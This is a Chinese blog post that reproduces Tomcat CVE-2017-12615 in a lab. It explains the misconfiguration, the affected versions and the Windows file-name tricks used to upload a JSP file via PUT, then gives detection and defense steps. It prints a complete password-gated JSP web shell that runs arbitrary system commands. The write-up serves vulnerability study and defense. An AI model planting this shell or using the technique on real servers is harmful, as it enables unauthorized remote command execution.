• Tomcat put上传漏洞_CVE2017-12615( JSP Upload Bypass/Remote Code Execution)


    CVE2017-12615漏洞复现( tomcat JSP Upload Bypass /Remote Code Execution)

    一、漏洞原理

    在windows服务器下,将readonly参数设置为false时,即可通过PUT方式创建一个jsp文件,并可以执行任意代码。Tomcat版本内web.xml配置内无readonly,需要手工添加,默认配置不受此影响。

    二、影响版本

    Apache Tomcat 7.0.0-7.0.79(Windows环境下)

    三、漏洞利用条件

    1. 目标是windows环境
    2. 目标tomcat的版本7.0.0-7.0.79
    3. 管理员配置不当,设置了readonly,并且其值为false
    4. 上传目标的地方具有写入权限

    四、环境搭建

    Java环境(jdk 1.7)

    Tomcat环境(tomcat 7.0.70)

    五、漏洞复现

    1.测试tomcat环境

       

    2.修改web.xml,tomcat版本内web.xml默认没有readonly,首要手工添加,将readonly参数设置为false时,然后就能通过PUT方式创建一个jsp文件,并可以执行任意代码。

      

    3.搜索漏洞库,根据poc说明验证漏洞的存在

      

    4.启动tomcat,burp抓包,利用PUT请求创建文件,上传内容后,发现上传失败,提示404

      

    5.根据漏洞描述中windows环境受影响,可以尝试利用windows的特性(文件名不能以空格结尾,NTFS文件流)来绕过限制

    5.1利用文件名不能为空格,在文件名后加空格上传文件,上传失败,提示403

      

    5.2提示403,一般可能是因为上传的目标文件夹没有写入权限。查看权限发现目标没有写入权限。

      

    5.3给目标文件夹加入写入权限,然后测试

      

    5.4浏览器访问上传的文件

      

    5.5尝试NTFS文件流,成功上传

      

    5.6浏览器测试

      

    5.7构造特殊后缀名绕过tomcat检测

      

    6.通过以上poc可以证明目标存在文件上传漏洞,上传jsp一句话木马

    <%

    if("023".equals(request.getParameter("pwd"))){

    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();

    int a = -1;

    byte[] b = new byte[2048];

    out.print("<pre>");

    while((a=in.read(b))!=-1){

    out.println(new String(b));

    }

    out.print("</pre>");

    }

    %>

      

    7.浏览器访问构造参数,下图可以说明目标存在远程代码执行漏洞

      

    六、漏洞分析总结

    1. 通过以上分析可以得出,这个漏洞的利用的前提条件很多,需要目标是windows环境,需要管理员错误配置开启readonly并且设置其值为false等等,漏洞危害性一般。

    七、检测与防御

    检测:查看是否开启readonly以及是否启用了PUT方法。

    防御:

    1. 禁用PUT方法
    2. 设置readonly值为True
    3. 升级到最新版本
  • 相关阅读:
    Python-理解装饰器
    PHP-四种解析XML文件的方法
    学习-短信的上行(MO)和下行(MT)详解
    Linux-进程、进程组、作业、会话、控制终端详解
    Linux-进程基础
    Linux-查看进程的完整路径
    Linux-使用 screen 管理你的远程会话
    Python-常用字符串转换实例
    Python-闭包详解
    Git-Git Book阅读笔记
  • 原文地址:https://www.cnblogs.com/yuzly/p/10878362.html
Copyright © 2020-2023  润新知